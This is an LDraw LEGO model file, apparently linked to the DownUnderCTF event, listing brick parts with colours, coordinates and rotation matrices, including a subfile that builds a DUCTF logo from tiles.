0 0 0 -1 0 1 0 1 0 0 3956.dat 1 4 -44 -38 0 0 -1 0 0 0 -1 1 0 0 3023.dat 1 2 320 0 0 1 0 0 0 1 0 0 0 1 3811.dat 1 2 80 -24 -130 -1 0 0 0 1 0 0 0 -1 32064a.dat 1 0 80 -14 -100 0 1 0 0 0 1 1 0 0 3705.dat 1 0 80 -14 -50 1 0 0 0 1 0 0 0 1 32034.dat 1 0 80 -14 20 0 1 0 0 0 1 1 0 0 3706.dat 1 0 80 -14 90 0 -1 0 1 0 0 0 0 1 32013.dat 1 0 80 -24 90 0 0.629 0.777 -1 0 0 0 -0.777 0.629 2780.dat 1 0 80 -34 90 0 -0.777 -0.629 1 0 0 0 -0.629 0.777 32013.dat 1 0 93 -14 -50 1 0 0 0 1 0 0 0 1 3707.dat 1 0 193 -14 -50 0 0 1 -1 0 0 0 -1 0 32013.dat 1 0 193 -24 -50 0 0 1 -1 0 0 0 -1 0 2780.dat 1 0 193.278 -34 -49.886 0 0.777 0.629 1 0 0 0 0.629 -0.777 32013.dat 1 0 136.639 -34 20.057 0.629 0 -0.777 0 -1 0 -0.777 0 -0.629 3707.dat 1 0 280 -24 0 0 0 -1 0 1 0 1 0 0 3006.dat 1 0 340 -24 -120 1 0 0 0 1 0 0 0 1 3007.dat 1 0 280 -32 -100 0 0 -1 0 1 0 1 0 0 3020.dat 1 2 450 -24 140 0 0 1 0 1 0 -1 0 0 32064a.dat 1 0 470 -14 140 -1 0 0 0 0 -1 0 -1 0 4519.dat 1 0 509.995 -14 140 0 0.707 -0.707 -1 0 0 0 0.707 0.707 32192.dat 1 0 531.208 -14 118.787 0.707 0 -0.707 0 -1 0 -0.707 0 -0.707 32062.dat 1 0 551.987 -14 98.623 0 0.707 0.707 1 0 0 0 0.707 -0.707 32192.dat 1 0 551.987 -14 68.623 0 -1 0 0 0 -1 1 0 0 32062.dat 1 0 551.987 -14 38.623 0 0.707 0.707 -1 0 0 0 -0.707 0.707 32192.dat 1 0 530.774 -14 17.41 -0.707 -0.707 0 0 0 1 -0.707 0.707 0 32062.dat 1 0 509.564 -14 -3.8 0 -0.707 -0.707 -1 0 0 0 0.707 -0.707 32014.dat 1 0 530.774 -14 -25.01 0.707 -0.707 0 0 0 1 -0.707 -0.707 0 32062.dat 1 0 551.987 -14 -46.223 0 0.707 0.707 1 0 0 0 0.707 -0.707 32192.dat 1 0 551.987 -14 -76.223 0 -1 0 0 0 -1 1 0 0 32062.dat 1 0 551.987 -14 -106.223 0 0.707 0.707 -1 0 0 0 -0.707 0.707 32192.dat 1 0 531.208 -14 -126.387 0.707 -0.707 0 0 0 -1 0.707 0.707 0 32062.dat 1 0 509.995 -14 -147.6 0 0.707 -0.707 1 0 0 0 -0.707 -0.707 32192.dat 1 0 479.995 -14 -147.6 -1 0 0 0 1 0 0 0 -1 32062.dat 1 2 960 0 0 1 0 0 0 1 0 0 0 1 3811.dat 1 2 700 -8 0 0 0 1 0 1 0 -1 0 0 3956.dat 1 2 664 -68 0 0 1 0 -1 0 0 0 0 1 3795.dat 1 4 656 -118 0 0 1 0 0 0 -1 -1 0 0 3023.dat 1 2 760 -24 20 0 0 1 0 1 0 -1 0 0 3003.dat 1 2 760 -48 20 0 0 1 0 1 0 -1 0 0 3003.dat 1 2 760 -72 20 0 0 1 0 1 0 -1 0 0 3003.dat 1 2 800 -80 60 0 0 1 0 1 0 -1 0 0 3958.dat 1 2 820 -88 36 1 0 0 0 1 0 0 0 1 3956.dat 1 2 830 -128 0 0 0 -1 -1 0 0 0 1 0 3710.dat 1 2 830 -148 -8 0 0 -1 -1 0 0 0 1 0 3710.dat 1 2 830 -148 -16 0 0 -1 -1 0 0 0 1 0 3710.dat 1 2 830 -168 -24 0 0 -1 -1 0 0 0 1 0 99781.dat 1 4 852 -168 -14 0 -1 0 1 0 0 0 0 1 3023.dat 1 2 800 -8 0 0 0 -1 0 1 0 1 0 0 3956.dat 1 4 836 -38 0 0 -1 0 0 0 -1 1 0 0 3023.dat 1 2 960 -8 0 0 0 1 0 1 0 -1 0 0 3956.dat 1 4 924 -18 0 0 1 0 0 0 -1 -1 0 0 3023.dat 1 2 1040 -8 0 0 0 -1 0 1 0 1 0 0 3956.dat 1 4 1076 -38 0 0 -1 0 0 0 -1 1 0 0 3023.dat 1 0 1000 -8 0 0 -1 0 0 0 1 -1 0 0 3713.dat 1 0 1000 -38 0 0 1 0 -1 0 0 0 0 1 3705.dat 1 0 1000 -46 0 0 -1 0 0 0 1 -1 0 0 3713.dat 1 0 1000 -66 0 0 0.788 0.616 -1 0 0 0 -0.616 0.788 32034.dat 1 0 963.04 -66 -47.28 -0.616 -0.788 0 0 0 1 -0.788 0.616 0 32073.dat 1 0 1036.96 -66 47.28 -0.616 -0.788 0 0 0 1 -0.788 0.616 0 32073.dat 1 0 1155 -12 -75 -1 0 0 0 0 -1 0 -1 0 32269.dat 1 0 1155 -12 125 -1 0 0 0 0 -1 0 -1 0 43888.dat 1 0 1255 -12 0 -1 0 0 0 1 0 0 0 -1 brace.ldr 1 4 -64 62 0 0 1 0 0 0 -1 -1 0 0 3023.dat 1 0 -4 62 0 0.731 0.682 0 0 0 -1 -0.682 0.731 0 30261p03.dat 1 4 64 62 0 0 1 0 0 0 -1 -1 0 0 3023.dat 1 0 48 62 0 0 1 0 0 0 1 1 0 0 6184.dat 0 FILE DUCTF_logo.ldr 0 Name: DUCTF_logo.ldr 1 0 0 0 0 1 0 0 0 1 0 0 0 1 3811.dat 1 27 -290 -8 10 1 0 0 0 1 0 0 0 1 98138.dat 1 27 -290 -8 30 1 0 0 0 1 0 0 0 1 98138.dat 1 27 -290 -8 50 1 0 0 0 1 0 0 0 1 98138.dat 1 27 -290 -8 70 1 0 0 0 1 0 0 0 1 98138.dat 1 27 -290 -8 90 1 0 0 0 1 0 0 0 1 98138.dat 1 27 -270 -8 -10 1 0 0 0 1 0 0 0 1 98138.dat 1 27 -270 -8 10 1 0 0 0 1 0 0 0 1 98138.dat 1 27 -270 -8 30 1 0 0 0 1 0 0 0 1 98138.dat 1 27 -270 -8 50 1 0 0 0 1 0 0 0 1 98138.dat 1 27 -270 -8 70 1 0 0 0 1 0 0 0 1 98138.dat 1 27 -270 -8 90 1 0 0 0 1 0 0 0 1 98138.dat 1 27 -270 -8 110 1 0 0 0 1 0 0 0 1 98138.dat 1 27 -250 -8 -110 1 0 0 0 1 0 0 0 1 98138.dat 1 27 -250 -8 -90 1 0 0 0 1 0 0 0 1 98138.dat 1 27 -250 -8 -70 1 0 0 0 1 0 0 0 1 98138.dat 1 27 -250 -8 -50 1 0 0 0 1 0 0 0 1 98138.dat 1 27 -250 -8 -30 1 0 0 0 1 0 0 0 1 98138.dat 1 27 -250 -8 -10 1 0 0 0 1 0 0 0 1 98138.dat 1 27 -250 -8 10 1 0 0 0 1 0 0 0 1 98138.dat 1 27 -250 -8 30 1 0 0 0 1 0 0 0 1 98138.dat 1 27 -250 -8 50 1 0 0 0 1 0 0 0 1 98138.dat 1 27 -250 -8 70 1 0 0 0 1 0 0 0 1 98138.dat 1 27 -250 -8 90 1 0 0 0 1 0 0 0 1 98138.dat 1 27 -250 -8 110 1 0 0 0 1 0 0 0 1 98138.dat 1 27 -230 -8 -130 1 0 0 0 1 0 0 0 1 98138.dat 1 27 -230 -8 -110 1 0 0 0 1 0 0 0 1 98138.dat 1 27 -230 -8 -90 1 0 0 0 1 0 0 0 1 98138.dat 1 27 -230 -8 -70 1 0 0 0 1 0 0 0 1 98138.dat 1 27 -230 -8 -50 1 0 0 0 1 0 0 0 1 98138.dat 1 27 -230 -8 -30 1 0 0 0 1 0 0 0 1 98138.dat 1 27 -230 -8 -10 1 0 0 0 1 0 0 0 1 98138.dat 1 27 -230 -8 10 1 0 0 0 1 0 0 0 1 98138.dat 1 27 -230 -8 30 1 0 0 0 1 0 0 0 1 98138.dat 1 27 -230 -8 50 1 0 0 0 1 0 0 0 1 98138.dat 1 27 -230 -8 70 1 0 0 0 1 0 0 0 1 98138.dat 1 27 -230 -8 90 1 0 0 0 1 0 0 0 1 98138.dat 1 27 -230 -8 110 1 0 0 0 1 0 0 0 1 98138.dat 1 27 -210 -8 -130 1 0 0 0 1 0 0 0 1 98138.dat 1 27 -210 -8 -110 1 0 0 0 1 0 0 0 1 98138.dat 1 27 -210 -8 -90 1 0 0 0 1 0 0 0 1 98138.dat 1 27 -210 -8 -70 1 0 0 0 1 0 0 0 1 98138.dat 1 27 -210 -8 -50 1 0 0 0 1 0 0 0 1 98138.dat 1 27 -210 -8 -30 1 0 0 0 1 0 0 0 1 98138.dat 1 27 -210 -8 -10 1 0 0 0 1 0 0 0 1 98138.dat 1 27 -210 -8 10 1 0 0 0 1 0 0 0 1 98138.dat 1 27 -210 -8 30 1 0 0 0 1 0 0 0 1 98138.dat 1 27 -210 -8 50 1 0 0 0 1 0 0 0 1 98138.dat 1 27 -210 -8 70 1 0 0 0 1 0 0 0 1 98138.dat 1 27 -210 -8 90 1 0 0 0 1 0 0 0 1 98138.dat 1 27 -210 -8 110 1 0 0 0 1 0 0 0 1 98138.dat 1 27 -190 -8 -110 1 0 0 0 1 0 0 0 1 98138.dat 1 27 -190 -8 -90 1 0 0 0 1 0 0 0 1 98138.dat 1 27 -190 -8 -70 1 0 0 0 1 0 0 0 1 98138.dat 1 27 -190 -8 -50 1 0 0 0 1 0 0 0 1 98138.dat 1 27 -190 -8 -30 1 0 0 0 1 0 0 0 1 98138.dat 1 27 -190 -8 -10 1 0 0 0 1 0 0 0 1 98138.dat 1 27 -190 -8 10 1 0 0 0 1 0 0 0 1 98138.dat 1 27 -190 -8 30 1 0 0 0 1 0 0 0 1 98138.dat 1 27 -190 -8 50 1 0 0 0 1 0 0 0 1 98138.dat 1 27 -190 -8 70 1 0 0 0 1 0 0 0 1 98138.dat 1 27 -190 -8 90 1 0 0 0 1 0 0 0 1 98138.dat 1 27 -190 -8 110 1 0 0 0 1 0 0 0 1 98138.dat 1 27 -190 -8 130 1 0 0 0 1 0 0 0 1 98138.dat 1 27 -170 -8 -110 1 0 0 0 1 0 0 0 1 98138.dat 1 27 -170 -8 -90 1 0 0 0 1 0 0 0 1 98138.dat 1 27 -170 -8 -70 1 0 0 0 1 0 0 0 1 98138.dat 1 27 -170 -8 -50 1 0 0 0 1 0 0 0 1 98138.dat 1 27 -170 -8 -30 1 0 0 0 1 0 0 0 1 98138.dat 1 27 -170 -8 -10 1 0 0 0 1 0 0 0 1 98138.dat 1 27 -170 -8 10 1 0 0 0 1 0 0 0 1 98138.dat 1 27 -170 -8 30 1 0 0 0 1 0 0 0 1 98138.dat 1 27 -170 -8 50 1 0 0 0 1 0 0 0 1 98138.dat 1 27 -170 -8 70 1 0 0 0 1 0 0 0 1 98138.dat 1 27 -170 -8 90 1 0 0 0 1 0 0 0 1 98138.dat 1 27 -170 -8 110 1 0 0 0 1 0 0 0 1 98138.dat 1 27 -170 -8 130 1 0 0 0 1 0 0 0 1 98138.dat 1 27 -150 -8 -110 1 0 0 0 1 0 0 0 1 98138.dat 1 27 -150 -8 -90 1 0 0 0 1 0 0 0 1 98138.dat 1 27 -150 -8 -70 1 0 0 0 1 0 0 0 1 98138.dat 1 27 -150 -8 -50 1 0 0 0 1 0 0 0 1 98138.dat 1 27 -150 -8 -30 1 0 0 0 1 0 0 0 1 98138.dat 1 27 -150 -8 -10 1 0 0 0 1 0 0 0 1 98138.dat 1 27 -150 -8 10 1 0 0 0 1 0 0 0 1 98138.dat 1 27 -150 -8 30 1 0 0 0 1 0 0 0 1 98138.dat 1 27 -150 -8 50 1 0 0 0 1 0 0 0 1 98138.dat 1 27 -150 -8 70 1 0 0 0 1 0 0 0 1 98138.dat 1 27 -150 -8 90 1 0 0 0 1 0 0 0 1 98138.dat 1 27 -150 -8 110 1 0 0 0 1 0 0 0 1 98138.dat 1 27 -150 -8 130 1 0 0 0 1 0 0 0 1 98138.dat 1 27 -150 -8 150 1 0 0 0 1 0 0 0 1 98138.dat 1 27 -130 -8 -110 1 0 0 0 1 0 0 0 1 98138.dat 1 27 -130 -8 -90 1 0 0 0 1 0 0 0 1 98138.dat 1 27 -130 -8 -70 1 0 0 0 1 0 0 0 1 98138.dat 1 27 -130 -8 -50 1 0 0 0 1 0 0 0 1 98138.dat 1 27 -130 -8 -30 1 0 0 0 1 0 0 0 1 98138.dat 1 27 -130 -8 -10 1 0 0 0 1 0 0 0 1 98138.dat 1 27 -130 -8 10 1 0 0 0 1 0 0 0 1 98138.dat 1 27 -130 -8 30 1 0 0 0 1 0 0 0 1 98138.dat 1 27 -130 -8 50 1 0 0 0 1 0 0 0 1 98138.dat 1 27 -130 -8 70 1 0 0 0 1 0 0 0 1 98138.dat 1 27 -130 -8 90 1 0 0 0 1 0 0 0 1 98138.dat 1 27 -130 -8 110 1 0 0 0 1 0 0 0 1 98138.dat 1 27 -130 -8 130 1 0 0 0 1 0 0 0 1 98138.dat 1 27 -130 -8 150 1 0 0 0 1 0 0 0 1 98138.dat 1 27 -130 -8 170 1 0 0 0 1 0 0 0 1 98138.dat 1 27 -110 -8 -90 1 0 0 0 1 0 0 0 1 98138.dat 1 27 -110 -8 -70 1 0 0 0 1 0 0 0 1 98138.dat 1 27 -110 -8 -50 1 0 0 0 1 0 0 0 1 98138.dat 1 27 -110 -8 -30 1 0 0 0 1 0 0 0 1 98138.dat 1 27 -110 -8 -10 1 0 0 0 1 0 0 0 1 98138.dat 1 27 -110 -8 10 1 0 0 0 1 0 0 0 1 98138.dat 1 27 -110 -8 30 1 0 0 0 1 0 0 0 1 98138.dat 1 27 -110 -8 50 1 0 0 0 1 0 0 0 1 98138.dat 1 27 -110 -8 70 1 0 0 0 1 0 0 0 1 98138.dat 1 27 -110 -8 90 1 0 0 0 1 0 0 0 1 98138.dat 1 27 -110 -8 110 1 0 0 0 1 0 0 0 1 98138.dat 1 27 -110 -8 130 1 0 0 0 1 0 0 0 1 98138.dat 1 27 -110 -8 150 1 0 0 0 1 0 0 0 1 98138.dat 1 27 -110 -8 170 1 0 0 0 1 0 0 0 1 98138.dat 1 27 -110 -8 190 1 0 0 0 1 0 0 0 1 98138.dat 1 27 -90 -8 -90 1 0 0 0 1 0 0 0 1 98138.dat 1 27 -90 -8 -70 1 0 0 0 1 0 0 0 1 98138.dat 1 27 -90 -8 -50 1 0 0 0 1 0 0 0 1 98138.dat 1 27 -90 -8 -30 1 0 0 0 1 0 0 0 1 98138.dat 1 27 -90 -8 -10 1 0 0 0 1 0 0 0 1 98138.dat 1 27 -90 -8 10 1 0 0 0 1 0 0 0 1 98138.dat 1 27 -90 -8 30 1 0 0 0 1 0 0 0 1 98138.dat 1 27 -90 -8 50 1 0 0 0 1 0 0 0 1 98138.dat 1 27 -90 -8 70 1 0 0 0 1 0 0 0 1 98138.dat 1 27 -90 -8 90 1 0 0 0 1 0 0 0 1 98138.dat 1 27 -90 -8 110 1 0 0 0 1 0 0 0 1 98138.dat 1 27 -90 -8 130 1 0 0 0 1 0 0 0 1 98138.dat 1 27 -90 -8 150 1 0 0 0 1 0 0 0 1 98138.dat 1 27 -90 -8 170 1 0 0 0 1 0 0 0 1 98138.dat 1 27 -90 -8 190 1 0 0 0 1 0 0 0 1 98138.dat 1 27 -90 -8 210 1 0 0 0 1 0 0 0 1 98138.dat 1 27 -70 -8 -70 1 0 0 0 1 0 0 0 1 98138.dat 1 27 -70 -8 -50 1 0 0 0 1 0 0 0 1 98138.dat 1 27 -70 -8 -30 1 0 0 0 1 0 0 0 1 98138.dat 1 27 -70 -8 -10 1 0 0 0 1 0 0 0 1 98138.dat 1 27 -70 -8 10 1 0 0 0 1 0 0 0 1 98138.dat 1 27 -70 -8 30 1 0 0 0 1 0 0 0 1 98138.dat 1 27 -70 -8 50 1 0 0 0 1 0 0 0 1 98138.dat 1 27 -70 -8 70 1 0 0 0 1 0 0 0 1 98138.dat 1 27 -70 -8 90 1 0 0 0 1 0 0 0 1 98138.dat 1 27 -70 -8 110 1 0 0 0 1 0 0 0 1 98138.dat 1 27 -70 -8 130 1 0 0 0 1 0 0 0 1 98138.dat 1 27 -70 -8 150 1 0 0 0 1 0 0 0 1 98138.dat 1 27 -70 -8 170 1 0 0 0 1 0 0 0 1 98138.dat 1 27 -70 -8 190 1 0 0 0 1 0 0 0 1 98138.dat 1 27 -70 -8 210 1 0 0 0 1 0 0 0 1 98138.dat 1 27 -50 -8 -70 1 0 0 0 1 0 0 0 1 98138.dat 1 27 -50 -8 -50 1 0 0 0 1 0 0 0 1 98138.dat 1 27 -50 -8 -30 1 0 0 0 1 0 0 0 1 98138.dat 1 27 -50 -8 90 1 0 0 0 1 0 0 0 1 98138.dat 1 27 -50 -8 110 1 0 0 0 1 0 0 0 1 98138.dat 1 27 -50 -8 130 1 0 0 0 1 0 0 0 1 98138.dat 1 27 -50 -8 150 1 0 0 0 1 0 0 0 1 98138.dat 1 27 -50 -8 170 1 0 0 0 1 0 0 0 1 98138.dat 1 27 -50 -8 190 1 0 0 0 1 0 0 0 1 98138.dat 1 27 -50 -8 210 1 0 0 0 1 0 0 0 1 98138.dat 1 27 -30 -8 -70 1 0 0 0 1 0 0 0 1 98138.dat 1 27 -30 -8 -50 1 0 0 0 1 0 0 0 1 98138.dat 1 27 -30 -8 -30 1 0 0 0 1 0 0 0 1 98138.dat 1 27 -30 -8 90 1 0 0 0 1 0 0 0 1 98138.dat 1 27 -30 -8 110 1 0 0 0 1 0 0 0 1 98138.dat 1 27 -30 -8 130 1 0 0 0 1 0 0 0 1 98138.dat 1 27 -30 -8 150 1 0 0 0 1 0 0 0 1 98138.dat 1 27 -30 -8 170 1 0 0 0 1 0 0 0 1 98138.dat 1 27 -30 -8 190 1 0 0 0 1 0 0 0 1 98138.dat 1 27 -30 -8 210 1 0 0 0 1 0 0 0 1 98138.dat 1 27 -30 -8 230 1 0 0 0 1 0 0 0 1 98138.dat 1 27 -10 -8 -90 1 0 0 0 1 0 0 0 1 98138.dat 1 27 -10 -8 -70 1 0 0 0 1 0 0 0 1 98138.dat 1 27 -10 -8 -50 1 0 0 0 1 0 0 0 1 98138.dat 1 27 -10 -8 -30 1 0 0 0 1 0 0 0 1 98138.dat 1 27 -10 -8 -10 1 0 0 0 1 0 0 0 1 98138.dat 1 27 -10 -8 110 1 0 0 0 1 0 0 0 1 98138.dat 1 27 -10 -8 130 1 0 0 0 1 0 0 0 1 98138.dat 1 27 -10 -8 150 1 0 0 0 1 0 0 0 1 98138.dat 1 27 -10 -8 170 1 0 0 0 1 0 0 0 1 98138.dat 1 27 -10 -8 190 1 0 0 0 1 0 0 0 1 98138.dat 1 27 -10 -8 210 1 0 0 0 1 0 0 0 1 98138.dat 1 27 -10 -8 230 1 0 0 0 1 0 0 0 1 98138.dat 1 27 -10 -8 250 1 0 0 0 1 0 0 0 1 98138.dat 1 27 10 -8 -110 1 0 0 0 1 0 0 0 1 98138.dat 1 27 10 -8 -90 1 0 0 0 1 0 0 0 1 98138.dat 1 27 10 -8 -70 1 0 0 0 1 0 0 0 1 98138.dat 1 27 10 -8 -50 1 0 0 0 1 0 0 0 1 98138.dat 1 27 10 -8 -30 1 0 0 0 1 0 0 0 1 98138.dat 1 27 10 -8 -10 1 0 0 0 1 0 0 0 1 98138.dat 1 27 10 -8 110 1 0 0 0 1 0 0 0 1 98138.dat 1 27 10 -8 130 1 0 0 0 1 0 0 0 1 98138.dat 1 27 10 -8 150 1 0 0 0 1 0 0 0 1 98138.dat 1 27 10 -8 170 1 0 0 0 1 0 0 0 1 98138.dat 1 27 10 -8 190 1 0 0 0 1 0 0 0 1 98138.dat 1 27 10 -8 210 1 0 0 0 1 0 0 0 1 98138.dat 1 27 10 -8 230 1 0 0 0 1 0 0 0 1 98138.dat 1 27 10 -8 250 1 0 0 0 1 0 0 0 1 98138.dat 1 27 30 -8 -110 1 0 0 0 1 0 0 0 1 98138.dat 1 27 30 -8 -90 1 0 0 0 1 0 0 0 1 98138.dat 1 27 30 -8 -70 1 0 0 0 1 0 0 0 1 98138.dat 1 27 30 -8 -50 1 0 0 0 1 0 0 0 1 98138.dat 1 27 30 -8 -30 1 0 0 0 1 0 0 0 1 98138.dat 1 27 30 -8 90 1 0 0 0 1 0 0 0 1 98138.dat 1 27 30 -8 110 1 0 0 0 1 0 0 0 1 98138.dat 1 27 30 -8 130 1 0 0 0 1 0 0 0 1 98138.dat 1 27 30 -8 150 1 0 0 0 1 0 0 0 1 98138.dat 1 27 30 -8 170 1 0 0 0 1 0 0 0 1 98138.dat 1 27 30 -8 190 1 0 0 0 1 0 0 0 1 98138.dat 1 27 30 -8 210 1 0 0 0 1 0 0 0 1 98138.dat 1 27 30 -8 230 1 0 0 0 1 0 0 0 1 98138.dat 1 27 30 -8 250 1 0 0 0 1 0 0 0 1 98138.dat 1 27 50 -8 -110 1 0 0 0 1 0 0 0 1 98138.dat 1 27 50 -8 -90 1 0 0 0 1 0 0 0 1 98138.dat 1 27 50 -8 -70 1 0 0 0 1 0 0 0 1 98138.dat 1 27 50 -8 -50 1 0 0 0 1 0 0 0 1 98138.dat 1 27 50 -8 -30 1 0 0 0 1 0 0 0 1 98138.dat 1 27 50 -8 90 1 0 0 0 1 0 0 0 1 98138.dat 1 27 50 -8 110 1 0 0 0 1 0 0 0 1 98138.dat 1 27 50 -8 130 1 0 0 0 1 0 0 0 1 98138.dat 1 27 50 -8 150 1 0 0 0 1 0 0 0 1 98138.dat 1 27 50 -8 170 1 0 0 0 1 0 0 0 1 98138.dat 1 27 50 -8 190 1 0 0 0 1 0 0 0 1 98138.dat 1 27 50 -8 230 1 0 0 0 1 0 0 0 1 98138.dat 1 27 50 -8 250 1 0 0 0 1 0 0 0 1 98138.dat 1 27 70 -8 -130 1 0 0 0 1 0 0 0 1 98138.dat 1 27 70 -8 -110 1 0 0 0 1 0 0 0 1 98138.dat 1 27 70 -8 -90 1 0 0 0 1 0 0 0 1 98138.dat 1 27 70 -8 -70 1 0 0 0 1 0 0 0 1 98138.dat 1 27 70 -8 -50 1 0 0 0 1 0 0 0 1 98138.dat 1 27 70 -8 -30 1 0 0 0 1 0 0 0 1 98138.dat 1 27 70 -8 -10 1 0 0 0 1 0 0 0 1 98138.dat 1 27 70 -8 110 1 0 0 0 1 0 0 0 1 98138.dat 1 27 70 -8 130 1 0 0 0 1 0 0 0 1 98138.dat 1 27 70 -8 150 1 0 0 0 1 0 0 0 1 98138.dat 1 27 70 -8 170 1 0 0 0 1 0 0 0 1 98138.dat 1 27 70 -8 190 1 0 0 0 1 0 0 0 1 98138.dat 1 27 90 -8 -150 1 0 0 0 1 0 0 0 1 98138.dat 1 27 90 -8 -130 1 0 0 0 1 0 0 0 1 98138.dat 1 27 90 -8 -110 1 0 0 0 1 0 0 0 1 98138.dat 1 27 90 -8 -90 1 0 0 0 1 0 0 0 1 98138.dat 1 27 90 -8 -70 1 0 0 0 1 0 0 0 1 98138.dat 1 27 90 -8 -50 1 0 0 0 1 0 0 0 1 98138.dat 1 27 90 -8 -30 1 0 0 0 1 0 0 0 1 98138.dat 1 27 90 -8 -10 1 0 0 0 1 0 0 0 1 98138.dat 1 27 90 -8 110 1 0 0 0 1 0 0 0 1 98138.dat 1 27 90 -8 130 1 0 0 0 1 0 0 0 1 98138.dat 1 27 90 -8 150 1 0 0 0 1 0 0 0 1 98138.dat 1 27 90 -8 170 1 0 0 0 1 0 0 0 1 98138.dat 1 27 110 -8 -170 1 0 0 0 1 0 0 0 1 98138.dat 1 27 110 -8 -150 1 0 0 0 1 0 0 0 1 98138.dat 1 27 110 -8 -130 1 0 0 0 1 0 0 0 1 98138.dat 1 27 110 -8 -110 1 0 0 0 1 0 0 0 1 98138.dat 1 27 110 -8 110 1 0 0 0 1 0 0 0 1 98138.dat 1 27 110 -8 130 1 0 0 0 1 0 0 0 1 98138.dat 1 27 110 -8 150 1 0 0 0 1 0 0 0 1 98138.dat 1 27 110 -8 170 1 0 0 0 1 0 0 0 1 98138.dat 1 27 130 -8 -190 1 0 0 0 1 0 0 0 1 98138.dat 1 27 130 -8 -170 1 0 0 0 1 0 0 0 1 98138.dat 1 27 130 -8 -150 1 0 0 0 1 0 0 0 1 98138.dat 1 27 130 -8 -130 1 0 0 0 1 0 0 0 1 98138.dat 1 27 130 -8 -110 1 0 0 0 1 0 0 0 1 98138.dat 1 27 130 -8 -90 1 0 0 0 1 0 0 0 1 98138.dat 1 27 130 -8 -70 1 0 0 0 1 0 0 0 1 98138.dat 1 27 130 -8 -50 1 0 0 0 1 0 0 0 1 98138.dat 1 27 130 -8 -30 1 0 0 0 1 0 0 0 1 98138.dat 1 27 130 -8 -10 1 0 0 0 1 0 0 0 1 98138.dat 1 27 130 -8 10 1 0 0 0 1 0 0 0 1 98138.dat 1 27 130 -8 30 1 0 0 0 1 0 0 0 1 98138.dat 1 27 130 -8 50 1 0 0 0 1 0 0 0 1 98138.dat 1 27 130 -8 70 1 0 0 0 1 0 0 0 1 98138.dat 1 27 130 -8 90 1 0 0 0 1 0 0 0 1 98138.dat 1 27 130 -8 110 1 0 0 0 1 0 0 0 1 98138.dat 1 27 130 -8 130 1 0 0 0 1 0 0 0 1 98138.dat 1 27 130 -8 150 1 0 0 0 1 0 0 0 1 98138.dat 1 27 130 -8 170 1 0 0 0 1 0 0 0 1 98138.dat 1 27 130 -8 190 1 0 0 0 1 0 0 0 1 98138.dat 1 27 130 -8 210 1 0 0 0 1 0 0 0 1 98138.dat 1 27 130 -8 230 1 0 0 0 1 0 0 0 1 98138.dat 1 27 130 -8 250 1 0 0 0 1 0 0 0 1 98138.dat 1 27 130 -8 270 1 0 0 0 1 0 0 0 1 98138.dat 1 27 150 -8 -190 1 0 0 0 1 0 0 0 1 98138.dat 1 27 150 -8 -170 1 0 0 0 1 0 0 0 1 98138.dat 1 27 150 -8 -150 1 0 0 0 1 0 0 0 1 98138.dat 1 27 150 -8 -130 1 0 0 0 1 0 0 0 1 98138.dat 1 27 150 -8 -110 1 0 0 0 1 0 0 0 1 98138.dat 1 27 150 -8 -90 1 0 0 0 1 0 0 0 1 98138.dat 1 27 150 -8 -70 1 0 0 0 1 0 0 0 1 98138.dat 1 27 150 -8 -50 1 0 0 0 1 0 0 0 1 98138.dat 1 27 150 -8 -30 1 0 0 0 1 0 0 0 1 98138.dat 1 27 150 -8 -10 1 0 0 0 1 0 0 0 1 98138.dat 1 27 150 -8 10 1 0 0 0 1 0 0 0 1 98138.dat 1 27 150 -8 30 1 0 0 0 1 0 0 0 1 98138.dat 1 27 150 -8 50 1 0 0 0 1 0 0 0 1 98138.dat 1 27 150 -8 70 1 0 0 0 1 0 0 0 1 98138.dat 1 27 150 -8 90 1 0 0 0 1 0 0 0 1 98138.dat 1 27 150 -8 110 1 0 0 0 1 0 0 0 1 98138.dat 1 27 150 -8 130 1 0 0 0 1 0 0 0 1 98138.dat 1 27 150 -8 150 1 0 0 0 1 0 0 0 1 98138.dat 1 27 150 -8 170 1 0 0 0 1 0 0 0 1 98138.dat 1 27 150 -8 190 1 0 0 0 1 0 0 0 1 98138.dat 1 27 150 -8 210 1 0 0 0 1 0 0 0 1 98138.dat 1 27 150 -8 230 1 0 0 0 1 0 0 0 1 98138.dat 1 27 150 -8 250 1 0 0 0 1 0 0 0 1 98138.dat 1 27 170 -8 -250 1 0 0 0 1 0 0 0 1 98138.dat 1 27 170 -8 -230 1 0 0 0 1 0 0 0 1 98138.dat 1 27 170 -8 -170 1 0 0 0 1 0 0 0 1 98138.dat 1 27 170 -8 -150 1 0 0 0 1 0 0 0 1 98138.dat 1 27 170 -8 -130 1 0 0 0 1 0 0 0 1 98138.dat 1 27 170 -8 -110 1 0 0 0 1 0 0 0 1 98138.dat 1 27 170 -8 -90 1 0 0 0 1 0 0 0 1 98138.dat 1 27 170 -8 -70 1 0 0 0 1 0 0 0 1 98138.dat 1 27 170 -8 -50 1 0 0 0 1 0 0 0 1 98138.dat 1 27 170 -8 -30 1 0 0 0 1 0 0 0 1 98138.dat 1 27 170 -8 -10 1 0 0 0 1 0 0 0 1 98138.dat 1 27 170 -8 10 1 0 0 0 1 0 0 0 1 98138.dat 1 27 170 -8 30 1 0 0 0 1 0 0 0 1 98138.dat 1 27 170 -8 50 1 0 0 0 1 0 0 0 1 98138.dat 1 27 170 -8 70 1 0 0 0 1 0 0 0 1 98138.dat 1 27 170 -8 90 1 0 0 0 1 0 0 0 1 98138.dat 1 27 170 -8 110 1 0 0 0 1 0 0 0 1 98138.dat 1 27 170 -8 130 1 0 0 0 1 0 0 0 1 98138.dat 1 27 170 -8 150 1 0 0 0 1 0 0 0 1 98138.dat 1 27 170 -8 170 1 0 0 0 1 0 0 0 1 98138.dat 1 27 170 -8 190 1 0 0 0 1 0 0 0 1 98138.dat 1 27 170 -8 210 1 0 0 0 1 0 0 0 1 98138.dat 1 27 190 -8 -270 1 0 0 0 1 0 0 0 1 98138.dat 1 27 190 -8 -250 1 0 0 0 1 0 0 0 1 98138.dat 1 27 190 -8 -230 1 0 0 0 1 0 0 0 1 98138.dat 1 27 190 -8 -190 1 0 0 0 1 0 0 0 1 98138.dat 1 27 190 -8 -170 1 0 0 0 1 0 0 0 1 98138.dat 1 27 190 -8 -150 1 0 0 0 1 0 0 0 1 98138.dat 1 27 190 -8 -130 1 0 0 0 1 0 0 0 1 98138.dat 1 27 190 -8 -110 1 0 0 0 1 0 0 0 1 98138.dat 1 27 190 -8 -90 1 0 0 0 1 0 0 0 1 98138.dat 1 27 190 -8 -70 1 0 0 0 1 0 0 0 1 98138.dat 1 27 190 -8 -50 1 0 0 0 1 0 0 0 1 98138.dat 1 27 190 -8 -30 1 0 0 0 1 0 0 0 1 98138.dat 1 27 190 -8 -10 1 0 0 0 1 0 0 